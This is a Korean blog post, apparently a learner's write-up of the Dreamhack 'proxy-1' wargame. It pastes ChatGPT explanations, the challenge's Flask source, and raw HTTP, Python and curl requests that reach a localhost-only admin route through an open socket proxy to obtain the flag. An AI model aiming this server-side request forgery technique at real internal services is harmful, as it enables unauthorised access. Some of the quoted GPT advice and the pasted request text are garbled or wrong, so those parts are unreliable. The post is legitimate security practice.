Dreamhack/Dreamhack Wargame (Challenge)

[48] IT 비전공자 [dreamhack]proxy-1문제 풀기

imaginefuture-1 2024. 10. 27. 08:00

 

 

10월의 마지막 주..겨울의 시작!

 

 

gpt:

 

 

**Raw Socket Sender**는 네트워크 소켓을 통해 데이터 패킷을 생성하고 전송하는 프로그램 또는 도구입니다. 이러한 소켓은 운영 체제의 일반적인 TCP/IP 스택을 우회하여 직접적으로 프로토콜 레벨에서 패킷을 조작할 수 있게 해줍니다. Raw socket을 사용하면 사용자 정의 프로토콜이나 특정 목적을 위해 데이터를 전송할 수 있습니다.

### 주요 기능

1. **패킷 생성 및 전송**:
   - Raw socket을 사용하면 사용자가 직접 TCP, UDP 또는 ICMP 패킷을 생성하고 전송할 수 있습니다.
   - 헤더와 데이터의 각 필드를 세밀하게 조정할 수 있어, 패킷의 세부 사항을 완벽하게 제어할 수 있습니다.

2. **프로토콜 분석**:
   - 패킷을 캡처하고 분석하여 네트워크의 동작을 이해하거나 보안 테스트를 수행할 수 있습니다.

3. **커스텀 프로토콜 구현**:
   - 특정 요구사항이나 실험적인 목적을 위해 새로운 프로토콜을 구현할 수 있습니다.

### 사용 예시

- **네트워크 테스트**:
  - Raw socket을 사용하여 TCP 연결을 테스트하거나 네트워크에서의 패킷 흐름을 모니터링합니다.

- **보안 분석**:
  - 침투 테스트에서 Raw socket을 사용하여 취약점을 탐색하고 검증하는 데 도움을 줍니다.

- **프로토콜 개발**:
  - 사용자 정의 프로토콜을 테스트하거나 새로운 아이디어를 실험하는 데 사용할 수 있습니다.

### Raw Socket을 사용하는 Python 예시

Python의 `socket` 모듈을 사용하여 Raw socket을 생성하고 데이터를 전송하는 기본적인 예제는 다음과 같습니다:

```python
import socket

# Raw socket 생성
raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

# 전송할 데이터 설정 (예: HTTP 요청)
data = b'GET / HTTP/1.1\r\nHost: example.com\r\n\r\n'

# 패킷 전송
raw_socket.sendto(data, ('example.com', 0))
```

### 주의사항

- **권한**: Raw socket을 사용하려면 일반적으로 관리자 권한이 필요합니다. 따라서 일반 사용자 계정으로는 Raw socket을 생성할 수 없습니다.
  
- **보안 및 윤리**: Raw socket을 사용하여 패킷을 조작하는 것은 보안 측면에서 주의가 필요합니다. 부적절한 사용은 법적 문제를 일으킬 수 있습니다.

### 결론

Raw Socket Sender는 네트워크 프로그래밍에서 매우 유용한 도구로, 패킷을 세밀하게 제어하고 사용자 정의 패킷을 생성할 수 있는 기능을 제공합니다. 이를 통해 네트워크 분석, 테스트 및 프로토콜 개발 등의 다양한 작업을 수행할 수 있습니다.

 

흐흠 패킷 조작 전송이군,,

 

홈페이지에 들어가면 이렇게 뜬다
오! 보낼 수 있다!

 

소스코드를 보러가자

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)

 

주어진 Flask 애플리케이션 소스 코드를 분석하여 주요 기능, 보안 취약점 및 플래그를 획득하는 방법을 알아보겠습니다.

### 코드 분석

1. **Flask 애플리케이션 설정**:
   ```python
   app = Flask(__name__)
   ```
   - Flask를 사용하여 웹 애플리케이션을 초기화합니다.

2. **플래그 파일 읽기**:
   ```python
   try:
       FLAG = open('./flag.txt', 'r').read()
   except:
       FLAG = '[**FLAG**]'
   ```
   - `flag.txt` 파일을 읽어 플래그를 저장합니다. 파일이 존재하지 않거나 읽을 수 없을 경우 `[**FLAG**]`로 기본값을 설정합니다.

3. **루트 경로('/')**:
   ```python
   @app.route('/')
   def index():
       return render_template('index.html')
   ```
   - 기본 경로에서 `index.html` 템플릿을 렌더링합니다.

4. **소켓 경로('/socket')**:
   ```python
   @app.route('/socket', methods=['GET', 'POST'])
   def login():
       if request.method == 'GET':
           return render_template('socket.html')
       elif request.method == 'POST':
           # 소켓 연결 및 데이터 송신 처리
   ```
   - GET 요청 시 `socket.html` 템플릿을 반환하고, POST 요청 시 사용자가 입력한 호스트, 포트 및 데이터를 사용하여 소켓 연결을 시도합니다.

5. **소켓 연결**:
   ```python
   with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
       s.settimeout(3)
       s.connect((host, port))
       s.sendall(data.encode())
       ...
   ```
   - 입력된 호스트와 포트로 TCP 소켓을 연결하고, 데이터를 전송한 후 응답을 수신합니다.

6. **관리자 경로('/admin')**:
   ```python
   @app.route('/admin', methods=['POST'])
   def admin():
       if request.remote_addr != '127.0.0.1':
           return 'Only localhost'
       ...
       return FLAG
   ```
   - 이 경로는 POST 요청을 처리하며, 다양한 조건을 검증하여 플래그를 반환합니다. 
   - 조건은 다음과 같습니다:
     - 요청자가 로컬호스트(127.0.0.1)에서 온 경우에만 접근 허용.
     - 사용자 에이전트가 `Admin Browser`인 경우.
     - `DreamhackUser` 헤더가 `admin`인 경우.
     - `admin` 쿠키가 `true`인 경우.
     - `userid` 필드가 `admin`인 경우.

### 보안 취약점

1. **소켓 경로**:
   - 사용자 입력을 기반으로 외부 소켓에 연결하므로, 소켓 서버에 대한 권한 제어가 없습니다. 악의적인 사용자가 의도적으로 다른 서버와 연결하여 정보를 획득하거나 조작할 수 있습니다.

2. **관리자 경로**:
   - `admin` 경로는 여러 조건을 검증하지만, IP 주소가 127.0.0.1인 경우에만 접근을 허용합니다. 이 조건을 통해 로컬에서 접근해야 하므로, 외부에서 플래그를 직접적으로 획득하는 것은 어렵습니다.
   - 하지만 이를 우회하기 위해 로컬에서 직접 요청을 보내거나 도구를 사용할 수 있습니다.

### 플래그 획득 방법

1. **로컬에서 실행**:
   - 이 서버를 로컬에서 실행하면, 관리 경로에 POST 요청을 보내 플래그를 얻을 수 있습니다.
   - 로컬에서 서버를 실행한 후, 필요한 조건을 모두 만족시켜 요청을 보내면 플래그를 획득할 수 있습니다.

2. **예시 요청**:
   ```python
   import requests

   # 로컬 서버에 POST 요청 보내기
   url = 'http://127.0.0.1:8000/admin'
   headers = {
       'User-Agent': 'Admin Browser',
       'DreamhackUser': 'admin'
   }
   cookies = {'admin': 'true'}
   data = {'userid': 'admin'}

   response = requests.post(url, headers=headers, cookies=cookies, data=data)

   print(response.text)  # 플래그 출력
   ```

### 결론

- 이 Flask 애플리케이션은 소켓을 통한 데이터 전송과 관리 경로를 통해 플래그를 제공합니다.
- 외부에서 직접적으로 플래그를 획득하기는 어렵지만, 로컬에서 실행하면 관리자 조건을 만족시켜 플래그를 얻을 수 있습니다.
- 보안 상의 취약점이 존재하므로, 이러한 방식은 안전하지 않으며, 실제 환경에서는 주의가 필요합니다.

 


 

나:

 

gpt야 파이썬 코드 http문으로 변경해줘!

 

gpt:

 

Python 코드를 HTTP 요청으로 변경하기 위해, Flask 애플리케이션의 특정 경로에 POST 요청을 보내는 형식으로 변환할 수 있습니다. 아래는 관리 경로 `/admin`에 필요한 헤더와 쿠키를 포함하여 POST 요청을 보내는 HTTP 요청을 구현한 예제입니다.

### HTTP 요청 변환 예시

Flask 애플리케이션의 `/admin` 경로에 POST 요청을 보내기 위해 아래와 같은 형식의 HTTP 요청을 사용할 수 있습니다.

```http
POST /admin HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true

userid=admin
```

### 설명

1. **HTTP 메서드**: `POST`
2. **경로**: `/admin`
3. **헤더**:
   - `Host`: 요청할 서버의 주소와 포트.
   - `User-Agent`: 'Admin Browser'로 설정.
   - `DreamhackUser`: 'admin'으로 설정.
   - `Cookie`: 'admin=true'로 설정.
4. **바디**: `userid=admin`을 포함.

### HTTP 요청 보내는 방법

위와 같은 요청을 보내기 위해 Python의 `requests` 라이브러리를 사용할 수 있습니다. 아래는 이를 구현한 예제 코드입니다.

```python
import requests

# 로컬 서버에 POST 요청 보내기
url = 'http://127.0.0.1:8000/admin'
headers = {
    'User-Agent': 'Admin Browser',
    'DreamhackUser': 'admin'
}
cookies = {'admin': 'true'}
data = {'userid': 'admin'}

# POST 요청
response = requests.post(url, headers=headers, cookies=cookies, data=data)

# 서버의 응답 출력
print(response.text)  # 플래그 출력
```

### CURL 명령어 예시

또는 `curl` 명령어를 사용하여 같은 HTTP 요청을 만들 수도 있습니다. 아래는 해당 CURL 명령어 예시입니다:

```bash
curl -X POST http://127.0.0.1:8000/admin \
     -H "User-Agent: Admin Browser" \
     -H "DreamhackUser: admin" \
     -H "Cookie: admin=true" \
     --data "userid=admin"
```

### 결론

위와 같이 Python 코드를 HTTP 요청 형식으로 변환할 수 있으며, 이 요청을 통해 플래그를 얻기 위해 `/admin` 경로에 POST 요청을 보낼 수 있습니다. 이를 통해 필요한 모든 조건을 만족시켜 플래그를 확인할 수 있습니다.

 

 


 

지피티는 신인가..?!

 

POST /admin HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Admin
Browser DreamhackUser: admin
Cookie: admin=true
userid=admin

 

입력해본다

 

허헛

 

 

HTTP/1.0 200 OK 응답과 함께 Admin id 메시지가 반환되었다는 것은 요청이 성공적으로 처리되었지만, 관리자 권한을 확인하기 위한 userid 필드의 값이 올바르지 않다는 것을 의미합니다. 즉, 'userid'의 값이 'admin'이 아닌 경우에 이 메시지가 표시됩니다.

문제 해결 단계

  1. userid 확인:
    • 요청에 포함된 userid가 정확히 'admin'인지 다시 확인하세요. 대소문자나 공백이 잘못 입력되지 않았는지 검토해 보세요.

 

뭐지..정확하게..넣었..는...데....뭐지..!

QnA를 보면서 이것저것 추가하는 중..

 

 

POST /admin HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 8
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true
Content-Type: application/x-www-form-urlencoded

userid=admin

 

Content-Length랑 Content-Type도 추가해보고...

 

 

 

결국 문제 풀이 블로그글을 봤더니

 

이런

다 왔는데!

content-length: 12였다

 

userid=admin 데이터가 12자..

 

 

POST /admin HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Admin
Browser DreamhackUser: admin
Cookie: admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
userid=admin

 

입력하면

반갑다!

 

 

Content-Type: application/x-www-form-urlencoded는 HTTP 요청의 헤더 중 하나로, 요청 본체(body)에 포함된 데이터의 형식을 지정하는 것입니다. 이 Content-Type은 주로 HTML 폼에서 데이터를 서버로 전송할 때 사용됩니다.

의미와 사용

  • Content-Type: 이 헤더는 서버에 보내는 데이터의 형식을 설명합니다. 서버는 이 정보를 사용하여 요청 본체를 올바르게 파싱합니다.
  • application/x-www-form-urlencoded:
    • 이는 기본적으로 HTML 폼 제출 방식으로 데이터를 인코딩하는 형식입니다.
    • 데이터는 key1=value1&key2=value2 형식으로 인코딩됩니다. 여기서 key는 폼 필드의 이름이고, value는 해당 필드에 입력된 값입니다.
    • 공백은 +로 대체되며, 특별한 문자(예: &, = 등)는 URL 인코딩되어 전송됩니다.